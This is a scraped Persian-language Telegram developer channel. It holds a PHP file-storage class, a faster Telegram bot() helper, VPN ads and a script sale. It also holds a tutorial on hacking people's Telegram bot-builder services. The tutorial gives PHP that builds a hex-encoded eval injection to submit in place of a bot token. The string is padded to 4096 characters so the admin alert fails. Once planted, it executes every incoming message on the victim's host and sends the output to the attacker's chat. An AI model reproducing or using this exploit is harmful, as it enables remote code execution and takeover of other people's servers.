#تیکه_کد دیتابیس فایل جیسون نمای ابجکتی برای نوبان
$TheDatabaseBasedOnMyFockingPathJsonifyfObjectiveWithMagickMethods = new PathJsonify("dir/abc");
جای dir/abc ادرس پوشه رو مینویسید.
➕ میتونید مثل ابجکت معمولی ازش استفاده کنید با این تفاوت که به صورت فایل ذخیره میشه برای مثال:
$db->hello = "world";
بعد فایل hello ساخته میشه و هروقت بنویسید
print $db->hello;
خونده میشه و پرینت میشه.
➕ میتونید از پوشه استفاده کنید مثلا فرض کنید کاربر $chatid اومده تو ربات میخاید ببینید از قبل بوده یا نه مینویسید
if(!$db->users->has($chatid)){
$db->users->$chatid; // پوشه کاربر ساخته میشه
}
➕ یا که میتونید واسه کاربر استیپ بزارید:
$db->users->$chatid->stepBrotherImStuck = "start";
و براحتی براش شرط بزارید استفاده کنید
if($db->users->$chatid->step == "start"){
// داخل منو اصلی ربات
}else .........
اگه بازم از این اموزش های پرمحتوا و کاربردی میخاید حمایت فراموش نوشه 👌😉
class PathJsonify {از اونجایی که خیلی استفاده ساده و روونی داره شاید بکارتون بیاد. اولین کاری که باید بکنین اینه که ابجکتش رو باز کنین و تو متغییر بریزید
public $_PATH;
public function __construct(string $path){
if(!file_exists($path))
mkdir($path);
$this->_PATH = $path;
}
public function __get(string $file){
$file = $this->_PATH . '/' . $file;
if(is_file($file))
return unserialize(file_get_contents($file));
return new PathJsonify($file);
}
public function __set(string $file, $value){
$file = $this->_PATH . '/' . $file;
if(!is_dir($file))
file_put_contents($file, serialize($value));
}
public function has(string $file){
$file = $this->_PATH . '/' . $file;
return file_exists($file);
}
public function del(string $file){
$file = $this->_PATH . '/' . $file;
return unlink($file);
}
}
$TheDatabaseBasedOnMyFockingPathJsonifyfObjectiveWithMagickMethods = new PathJsonify("dir/abc");
جای dir/abc ادرس پوشه رو مینویسید.
➕ میتونید مثل ابجکت معمولی ازش استفاده کنید با این تفاوت که به صورت فایل ذخیره میشه برای مثال:
$db->hello = "world";
بعد فایل hello ساخته میشه و هروقت بنویسید
print $db->hello;
خونده میشه و پرینت میشه.
➕ میتونید از پوشه استفاده کنید مثلا فرض کنید کاربر $chatid اومده تو ربات میخاید ببینید از قبل بوده یا نه مینویسید
if(!$db->users->has($chatid)){
$db->users->$chatid; // پوشه کاربر ساخته میشه
}
➕ یا که میتونید واسه کاربر استیپ بزارید:
$db->users->$chatid->stepBrotherImStuck = "start";
و براحتی براش شرط بزارید استفاده کنید
if($db->users->$chatid->step == "start"){
// داخل منو اصلی ربات
}else .........
اگه بازم از این اموزش های پرمحتوا و کاربردی میخاید حمایت فراموش نوشه 👌😉
👍1
از الوم استفاده کنین اپدیت 2.8.2 داده باگم نداره
https://github.com/avid0/Alom
https://github.com/avid0/Alom
#تابع_bot
این تابع از تابع bot معمولی که همه استفاده میکنن سرعت خیلی بیشتری داشته و به همون راحتی میتونید استفاده کنید.
مثلا:
bot("sendMessage", [
"chat_id" => "...",
"text" => "mmm"
]);
😐
این تابع از تابع bot معمولی که همه استفاده میکنن سرعت خیلی بیشتری داشته و به همون راحتی میتونید استفاده کنید.
define("API_KEY", "...");
class BotResponse {
public $res, $ch, $sock, $exec;
public function __construct($ch, $sock){
$this->ch = $ch;
$this->sock = $sock;
}
public function read(){
if(!$this->exec){
if($this->sock){
$res = "";
while($pack = fread($this->ch, 4096)){
$res .= $pack;
if(strlen($pack) < 4096)break;
}
$res = explode("\r\n\r\n", $res, 2);
$this->res = json_decode($res[1]);
fclose($this->ch);
}else{
$this->res = json_decode(curl_exec($this->ch));
curl_close($this->ch);
}
$this->exec = true;
}
}
public function __get($param){
if($param == 'result')
return $this;
$this->read();
if(isset($this->res->$param))
return $this->res->$param;
return $this->res->result->$param;
}
public function __set($param, $val){
$this->read();
return $this->res->$param = $val;
}
public function __destruct(){
if($this->sock && !$this->exec){
fgetc($this->ch);
fclose($this->ch);
}
}
}
function bot($method, $datas = []){
if(stripos($method, 'get') !== false){
$ch = curl_init("https://api.telegram.org/bot".API_KEY."/$method");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $datas);
return new BotResponse($ch, false);
}
$sock = true;
foreach($datas as $data)
if(is_array($data) || is_object($data)){
$sock = false;
break;
}
if($sock){
$sock = fsockopen("tls://api.telegram.org", 443);
$pack = "POST /bot".API_KEY."/$method HTTP/1.1\r\n";
$pack.= "Host: api.telegram.org\r\n";
$pack.= "Content-Type: application/json\r\n";
$datas = json_encode($datas);
$pack.= "Content-Length: ".strlen($datas)."\r\n";
$pack.= "\r\n$datas";
fwrite($sock, $pack);
return new BotResponse($sock, true);
}
$ch = curl_init("https://api.telegram.org/bot".API_KEY."/$method");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $datas);
$res = json_decode(curl_exec($ch));
curl_close($ch);
return $res;
}
مثلا:
bot("sendMessage", [
"chat_id" => "...",
"text" => "mmm"
]);
😐
#چگانه رباتساز مردم را هاک نماییم و حق ناس النوب به گردن خود بیاویزیم ورژن 3؟ عیدتون مبارک
💡 مدتی هست که رباتساز ها با فیلتر کردن کوتیشن ها و اسم بنده در کد های ضد هک خود جلوی هاک شدنشون رو گرفتند. و امروز ورژن جدیدی رو نمایی میکنیم با توضیح هر قسمت.
در این بخش ما به شما کدی میدهیم که هنگام ورودی دادن توکن در رباتساز جای توکن از کد ساخته شده خود استفاده میکنید و درصورتی که ربات اسیب پذیر باشد حتما گرفتار هوش و توانایی کد زدن شما خواهد شد.
🔧 در اینجا کدی که مینویسیم کد مخرب ارسالی نبوده و واسه ساخت کد مخرب هستش. ما این کد رو اجرا میکنیم تا خروجی کد مخرب بگیریم.
در ابتدا ربات خودمونو مشخص میکنیم و ایدی عددیمونو هم میزاریم تو متغییر:
ولی خب این کد پر از کوتیشنه ما فرض کردیم کوتیشن ها فیلتر میشه چه باید کرد؟
در مرحله بعدی اونو به صورت زیر هگز میکنیم:
تو رباتساز های جدید وقتی رباتی میسازید توکن به ادمین ارسال میشه و ادمین شمارو بلاک میکنه. پس چیکار کنیم؟ کافیه کد رو 4096 کارکتر کنیم تا به محدودیت کارکتر برسه ربات و نتونه به ادمین بگه:
حالا در اینجا کافیه کد مخرب ساخته شده رباتتون رو جای توکن ارسال کنید. اگه ساخته نشد که شما شکست خوردید ولی اگه ساخته شد که عالیه. میرید تو رباتتون و به صورت
📌 اسم avid رو پاک نکنید از تو کد بزارین باشه تبلیغ بشه اسمم ممنون /:
🖇 @jupiterAPI
💡 مدتی هست که رباتساز ها با فیلتر کردن کوتیشن ها و اسم بنده در کد های ضد هک خود جلوی هاک شدنشون رو گرفتند. و امروز ورژن جدیدی رو نمایی میکنیم با توضیح هر قسمت.
در این بخش ما به شما کدی میدهیم که هنگام ورودی دادن توکن در رباتساز جای توکن از کد ساخته شده خود استفاده میکنید و درصورتی که ربات اسیب پذیر باشد حتما گرفتار هوش و توانایی کد زدن شما خواهد شد.
🔧 در اینجا کدی که مینویسیم کد مخرب ارسالی نبوده و واسه ساخت کد مخرب هستش. ما این کد رو اجرا میکنیم تا خروجی کد مخرب بگیریم.
در ابتدا ربات خودمونو مشخص میکنیم و ایدی عددیمونو هم میزاریم تو متغییر:
$admin = 12345678;خب. حالا در ادامه کد خام زیر رو برای مشخص کرد کاری که ربات باید انجام بده مینویسیم
$token = "12345678:abcdefg";
$rawcode = '$UPDATE = json_decode(file_get_contents("php://input"));
$CURL = curl_init("https://api.telegram.org/bot'.$token.'/sendMessage");
curl_setopt($CURL, CURLOPT_RETURNTRANSFER, true);
curl_setopt($CURL, CURLOPT_POSTFIELDS, [
"chat_id" => '.$admin.',
"text" => @eval($UPDATE->message->text)
]);
curl_exec($CURL);
curl_close($CURL);
exit;';
برای توضیح کد بالا هرپیامی که در ربات شما ارسال شود را میگیره و اجرا میکنه و خروجی return اون رو به شما ارسال میکنه. مثلا کد بفرستیدreturn "hello world";
ربات شما این کدو اجرا میکنه و خروجیشو براتون میفرسته.ولی خب این کد پر از کوتیشنه ما فرض کردیم کوتیشن ها فیلتر میشه چه باید کرد؟
در مرحله بعدی اونو به صورت زیر هگز میکنیم:
$hex = bin2hex("\xff;$rawcode");
الان درست شد دیگه هیچ کوتیشنی نداریم. خب حالا کد اصلی که کار نفوذ به هاست رباتسازو انجام میده الان میسازیم$code = $token.'/gEtMe?AviD=${eval(hex2bin(@'.$hex.'))}';همون طور که میبینید دیگه هیچ کوتیشنی نیست. ولی هنوزم یه مشکلی هست.
تو رباتساز های جدید وقتی رباتی میسازید توکن به ادمین ارسال میشه و ادمین شمارو بلاک میکنه. پس چیکار کنیم؟ کافیه کد رو 4096 کارکتر کنیم تا به محدودیت کارکتر برسه ربات و نتونه به ادمین بگه:
$code .= str_repeat('a', 4096 - strlen($code));
و مشخصا سپس کد رو پرینت کنید تا بگیرید و ازش استفاده کنید.print $code;
🔑 حالا عملیاتو شروع میکنیم. به رباتساز رفته و ربات خودتونو با توکن بسازید تا وبهوک تنظیم بشه. حالا میدونید که لینک وبهوک رباتساز چیه و رباتتون به هاست طرف وصله. حالا وارد بخش تغییر توکن رباتساز یا ساخت دوباره رباتساز و یا اگه اجازه نداد یبار رباتو حذف کنید و وارد بخش ساخت رباته رباتساز بشید. اگه وبهوک حذف شد دوباره ست وبهوک انجام بدید.حالا در اینجا کافیه کد مخرب ساخته شده رباتتون رو جای توکن ارسال کنید. اگه ساخته نشد که شما شکست خوردید ولی اگه ساخته شد که عالیه. میرید تو رباتتون و به صورت
$a = 2 + 2;
return $a * 5;
هر کدی بفرستید جواب خواهید گرفت 😁📌 اسم avid رو پاک نکنید از تو کد بزارین باشه تبلیغ بشه اسمم ممنون /:
🖇 @jupiterAPI
پست موقت جهت اینکه تلگرام دست به این چنل نزنه
🤡19👍2👎1
ژوپیتـر اِیپیآی | Jupiter API
پست موقت جهت اینکه تلگرام دست به این چنل نزنه
اکثر چنل های عمومی و غیرفعال (بیشتر قدیمی ها) از دسترس خارج شده و ایدی هم بن هست
💩6😁1
🗂 فروش سورس سلنیوم php عکس گرفتن از صفحه tradingview با قابلیت های افزودن اندیکاتور تعیین تم تعیین سایز تایم فریم و ...
وب سرویس این اسکریپت توی سایت های خارجی مثل
https://chart-img.com/
به قیمت ماهی 20 دلار فروخته میشه که تازه اونم محدودیت ها کامل برداشته نخواهد شد.
⚠️ سلنیوم روی هاست اشتراکی ران نمیشه. همچنین نیاز به نصب جاوا و گوگل کروم (gui نیاز نیست) دارید.
⚒ اسکریپت دارای شرایط استفاده مختلف هست. شما میتونید مستقیم اسکریپتو اجرا کنید. میتونید از فایل ipc اجرا کنید تا سرعت بالای حداکثر اجرای 4-5 ثانیه برای هر درخواست داشته باشید. و میتونید سرویس api روی سرور خود داشته باشید.
همچنین دارای قابلیت کش برای سرعت بالا و جلوگیری از اسپم هست.
💳 قیمت اسکریپت فقط 😁
1,200,000
برای اشناها صد تخفیف میدم.
برای خرید:
🖇 @Av_id
وب سرویس این اسکریپت توی سایت های خارجی مثل
https://chart-img.com/
به قیمت ماهی 20 دلار فروخته میشه که تازه اونم محدودیت ها کامل برداشته نخواهد شد.
⚠️ سلنیوم روی هاست اشتراکی ران نمیشه. همچنین نیاز به نصب جاوا و گوگل کروم (gui نیاز نیست) دارید.
⚒ اسکریپت دارای شرایط استفاده مختلف هست. شما میتونید مستقیم اسکریپتو اجرا کنید. میتونید از فایل ipc اجرا کنید تا سرعت بالای حداکثر اجرای 4-5 ثانیه برای هر درخواست داشته باشید. و میتونید سرویس api روی سرور خود داشته باشید.
همچنین دارای قابلیت کش برای سرعت بالا و جلوگیری از اسپم هست.
💳 قیمت اسکریپت فقط 😁
1,200,000
برای اشناها صد تخفیف میدم.
برای خرید:
🖇 @Av_id
👎6👍4😁1🍌1
Forwarded from نِرو ویپیاِن، اتصال سریع و امن
سلام بچهها👋
یه ربات آوردم که باهاش میتونید پروکسی پرسرعت و رایگان دریافت کنید :)
برای گرفتن اشتراک تست رایگان روی لینک زیر بزنین👇👇👇
https://www.tgoop.com/NeroVPNBot?start=ref-342929908
🤩 لازمه اینم بگم اگه با لینک عضویت من وارد ربات بشید، مبلغ 5,000 تومان به عنوان موجودی هدیه به حساب کاربریتون منتقل میشه.
یه ربات آوردم که باهاش میتونید پروکسی پرسرعت و رایگان دریافت کنید :)
برای گرفتن اشتراک تست رایگان روی لینک زیر بزنین👇👇👇
https://www.tgoop.com/NeroVPNBot?start=ref-342929908
🤩 لازمه اینم بگم اگه با لینک عضویت من وارد ربات بشید، مبلغ 5,000 تومان به عنوان موجودی هدیه به حساب کاربریتون منتقل میشه.
💩8🤡3🍌3👍1
سلام دوستان
چند وقته فعالیت نداریم گفتم حوصلتون سر نره واستون صدا آمبولانس در بیارم 😑
بریممممم؟
😀😮😀😮😀😮😀😮😀😮😀😮😀😮😀😮😀😮
چند وقته فعالیت نداریم گفتم حوصلتون سر نره واستون صدا آمبولانس در بیارم 😑
بریممممم؟
😀😮😀😮😀😮😀😮😀😮😀😮😀😮😀😮😀😮
😐17🤡12😁6🖕4❤2
Forwarded from Jahan - جهان 📣
🚀 فروش سرویس های اختصاصی VPN - فیلتر شکن V2ray🚀
📌 قابلیت های سرویس ما 👇🏼
🔹 شبکه امن و سریع
🔸 کاهش پینگ و رفع تحریم ها
🔹 اتصال به سریع ترین سرور ها در سراسر دنیا
🔹 مناسب برای تماشا فیلم، وبگردی، بازی های آنلاین و....
🔸 پشتیبانی سریع و 24/7
🔹 قابل استفاده در تمام دستگاه ها و سیستم عامل ها (Windows, Android, IOS)
🛑لیست تعرفه ها (ماهانه) :
1️⃣ 20 گیگ حجم 40,000 تومان
2️⃣ 30 گیگ حجم 50.000 تومان
3️⃣ 50 گیگ حجم 70,000 تومان
✅دارای تست و ضمانت بازگشت وجه
@SudoJahan
https://www.tgoop.com/JahanCloudVpn
📌 قابلیت های سرویس ما 👇🏼
🔹 شبکه امن و سریع
🔸 کاهش پینگ و رفع تحریم ها
🔹 اتصال به سریع ترین سرور ها در سراسر دنیا
🔹 مناسب برای تماشا فیلم، وبگردی، بازی های آنلاین و....
🔸 پشتیبانی سریع و 24/7
🔹 قابل استفاده در تمام دستگاه ها و سیستم عامل ها (Windows, Android, IOS)
🛑لیست تعرفه ها (ماهانه) :
1️⃣ 20 گیگ حجم 40,000 تومان
2️⃣ 30 گیگ حجم 50.000 تومان
3️⃣ 50 گیگ حجم 70,000 تومان
✅دارای تست و ضمانت بازگشت وجه
@SudoJahan
https://www.tgoop.com/JahanCloudVpn
🤣17👍2
Forwarded from Megaran™| مگاران
جهت خرید و راهنمایی:
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1